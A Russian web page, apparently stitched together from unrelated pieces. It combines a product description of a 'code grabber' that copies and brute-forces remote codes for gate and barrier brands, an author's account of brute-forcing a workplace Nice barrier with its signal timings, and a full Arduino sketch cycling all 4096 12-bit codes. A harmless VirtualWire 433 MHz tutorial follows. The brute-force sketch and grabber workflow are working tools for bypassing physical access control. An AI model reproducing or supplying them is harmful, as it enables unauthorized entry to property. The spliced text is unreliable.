Граббер для шлагбаумов

 

Прибор предназначен для работы с автоматикой, работающей на частоте 443.92 и 315 Мгц:

  • CAME
  • NICE
  • DOORHAN
  • DEA
  • FAAC
  • ALLMATIC
  • MARANTECH
  • DITEC
  • ROGER

Так же, в прибор заложены адаптивные алгоритмы, позволяющие осуществлять копирование многих других, не заявленных в списке систем.

Более подробно поддерживаемые модели автоматики представлены в приложении.

Прибор может работать в следующих основных режимах:

  • Копирование кода
  • Подбор кода

Копирование кода возможно для всех перечисленных в списке системах, как с плавающим (динамическим, rolling) кодом, так и с постоянным (fixed).

Подбор кода возможен для следующих систем: CAME TOP, NICE FLO.Так же возможно принудительное копирование некоторых динамических кодов, поддержка которых отсутствует в приборе, но работоспособность скопированного таким образом кода не гарантируется.Для режима копирования возможны 2 рабочие частоты – 433.92 и 315 Мгц. Работа одновременно на двух частотах не предусмотрена, в каждый момент времени активна одна частота по выбору.Дальность приема в режиме копирования, а так же дальность работы в режиме подбора кода может сильно отличаться, в зависимости от условий (например, наличие помех, наличие антенны на приемнике автоматики) — от нескольких метров, до нескольких десятков метров. Типичное значение при нормальных условиях — 15-25 метров.

Дополнительная информация:

Имеется возможность обучения скопированным кодом САМЕ ТОР штатных брелков этой системы. Обучение осуществляется стандартным способом, как между двумя обычными брелками САМЕ ТОР, только роль обучающего брелка играет прибор.Обучать подобранным кодом штатные брелки нельзя, только скопированным.Прибор работает от одной батарейки LR1 (она же «N tуре», 910А) на 1.5 вольт. Не перепутайте со стандартной батарейкой А23 на 12 вольт, которая близка по размерам.

Кодграббер для шлагбаумов и ворот

И не перепутайте полярность при установке батарейки.Антенна представляет собой провод, длиной 17см. Практика использования прибора показала, что антенну можно уменьшить вдвое (просто обрезав) — до 8.5 см. Дальность работы при этом ощутимо не изменится.

Спиcок некоторых брелков, подверженных электронному взлому кодграббером:

 

 

.

На работе стоял шлагбаум фирмы Nice. Для открытия использовалась карта. Пульта в наличии не было. Кодов никто не знал.

Шлагбаумы Nice весьма популярны, но информации о протоколе сигнала найти было не просто. Существует два типа кодирования: 12-битные для старых и 24-битные форматы кодов для новых. Решил начать с 12-и битного и не прогадал. Пакет данных состоял из 12 бит. Перед 12-битным кодом идет «пилотный период» и «стартовый импульс».

Граббер для шлагбаумов aliexpress

«Пилотный период» состоит из 36 интервалов низкого уровня, «стартовый импульс» состоит из 1 интервала высокого уровня. Один пакет данных состоит из «пилотного периода» и «стартового импульса», и за ним уникальный 12-битный код для каждого отдельно взятого шлакбаума. Пульты отправляют 4 одинаковых пакета данных, но я поставил больше что бы избежать лишних помех. Длительности импульсов для шлагбаумов Nice:

  • Логическая «1» – 1400 мкс низкого уровня (два интервала) и 700 мкс высокого (один интервал)
  • Логический «0» – это 700 мкс низкого уровня (один интервал) и 1400 мкс высокого (один интервал)
  • «Пилотный период» – 25200 мкс (36 интервалов)
  • «Стартовый импульс» – 700 мкс (1 интервал)

Что бы подобрать нужный пришлось перебирать все 4096 комбинации для 12-битной кодировки. По прикидкам на весь перебор должно было уйти 17 минут.

Скетч для заливки в Arduino:

int send_code_pin = 13; int send_repeat = 5; void setup() { pinMode(send_code_pin, OUTPUT); } void loop () { for (int send_code = 0; send_code < 4096; send_code++) // цикли перебора всех кодов для 12 бит { for (int j = 0; j <send_repeat; j++) // в пультах используется 4 повторения { digitalWrite(send_code_pin, HIGH); // стартовый импульс delayMicroseconds(700); digitalWrite(send_code_pin, LOW); for (int i = 12; i > 0; i—) { boolean bit_code = bitRead(send_code, i — 1); if (bit_code) { digitalWrite(send_code_pin, LOW); // единица delayMicroseconds(1400); digitalWrite(send_code_pin, HIGH); delayMicroseconds(700); } else { digitalWrite(send_code_pin, LOW); // ноль delayMicroseconds(700); digitalWrite(send_code_pin, HIGH); delayMicroseconds(1400); } } digitalWrite(send_code_pin, LOW); // пилотный период delayMicroseconds(25200); } } }

Рано или поздно, в создаваемых проектах появится необходимость дистанционного управления. Одним из самых бюджетных решений является использование радиоприемника и радиопередатчика.

Универсальный пульт для всех типов шлагбаумов и ворот

Простейший пример их использования вы найдете в данной статье, а дальше все зависит только от ваших нужд и фантазии.

В первую очередь берем 2 платы Arduino и подключаем к ним приемник и передатчик, как показано на рисунке:

 

 


Компоненты для повторения (купить в Китае):

Arduino UNO, либо Arduino Nano, либо Arduino Mega

 

Радиомодули 433МГц 

Соединительные провода (перемычки)

 

Перед тем как преступить к работе, нужно указать, что для полноценной работы, к модулям необходимо припаять антенну. Рекомендуемая длина антенны для передатчиков с частотой 433 МГц равна 17 см.

 

Библиотека необходимая для работы с модулем VirtualWire

Её необходимо распаковать и добавить в папку "libraries" в папке с Arduino IDE. Не забывайте перезагрузить среду, если на момент добавления IDEшка была открыта.

Далее подключаем плату с передатчиком и заливаем следующий код:

 

 

Пример программного кода

// Тестировалось на Arduino IDE 1.0.1 #include <VirtualWire.h> voidsetup(void) {   vw_set_ptt_inverted(true); // Необходимо для DR3100   vw_setup(2000); // Устанавливаем скорость передачи (бит/с) } voidloop(void) {   int number = 123;   char symbol = 'c';      String strMsg = "z ";   strMsg += symbol;   strMsg += " ";   strMsg += number;   strMsg += " ";      char msg[255];      strMsg.toCharArray(msg, 255);      Serial.println(msg);      vw_send((uint8_t *)msg, strlen(msg));   vw_wait_tx(); // Ждем пока передача будет окончена   delay(200); }

 

Разберем этот код для полного понимания.

Во первых мы формируем строку strMsg. Используем тип String, т.к. с ним проще работать (можно конкатенировать его с числами, используя оператор '+').

Поскольку все передатчики работают в одном диапазоне частот, то каждый приемник будет принимать информацию с каждого передатчика находящегося в зоне досягаемости. Для того, чтобы отсеять лишние символы в простейшем случае можно просто предварить команды каким-то специальным символом. В нашем случае это символ 'z'.

Далее передадим символ 'c', который может означать выполнение какой-то команды и число 123, как параметр к этой команде. На практике удобно работать именно таким образом.

После этого преобразовываем тип String к стандартному массиву символов при помощи метода toCharArray и передаем его в команду vw_send.

Наш код будет отправлять строку 'z c 123'.


 

Перейдем к коду приемника:

 

 

Пример программного кода

// Тестировалось на Arduino IDE 1.0.1 #include <VirtualWire.h> voidsetup() {   Serial.begin(9600);   vw_set_ptt_inverted(true); // Необходимо для DR3100   vw_setup(2000); // Задаем скорость приема   vw_rx_start(); // Начинаем мониторинг эфира } voidloop() {   uint8_t buf[VW_MAX_MESSAGE_LEN]; // Буфер для сообщения   uint8_t buflen = VW_MAX_MESSAGE_LEN; // Длина буфера   if (vw_get_message(buf, &buflen)) // Если принято сообщение   {     // Начинаем разбор     int i;     // Если сообщение адресовано не нам, выходим     if (buf[0] != 'z')     {       return;     }     char command = buf[2]; // Команда находится на индексе 2          // Числовой параметр начинается с индекса 4     i = 4;      int number = 0;     // Поскольку передача идет посимвольно, то нужно преобразовать набор символов в число     while (buf[i] != ' ')     {       number *= 10;       number += buf[i] — '0';       i++;     }     Serial.print(command);     Serial.print(" ");     Serial.println(number);   } }

 

Сообщение будет считано в буфер buf, который нужно разобрать.

В первую очередь проверяем наличие служебного символа 'z', затем считываем код команды и затем преобразовываем строковое представление параметра в число.

Информация получена и разобрана, что делать дальше зависит от конкретной задачи. 

В данной статье рассмотрен простейший вариант общения.

В идеале нужно задуматься о кодировании передаваемой информации, т.к. её будут получать не только ваши приемники.


 

P.S. Работая с данными модулями, мы наткнулись на один не приятный подводный камень, а именно конфликт, невозможность работы с библиотекой "servo.h".

Для решения этой проблемы необходимо использовать библиотеку ServoTimer2 единственным отличием которой от стандартной Servo.h является то, что в функцию write необходимо передавать количество микросекунд, подробнее о которых расписано в нашей статье Подключение сервоприводов к Arduino.


 

Купить в России  Радиомодули 433 МГц

В данный момент еще реализованы не все элементы нашего сообщества. Мы активно работаем над ним и в ближайшее время возможность комментирования статей будет добавлена.

Добавить комментарий

Закрыть меню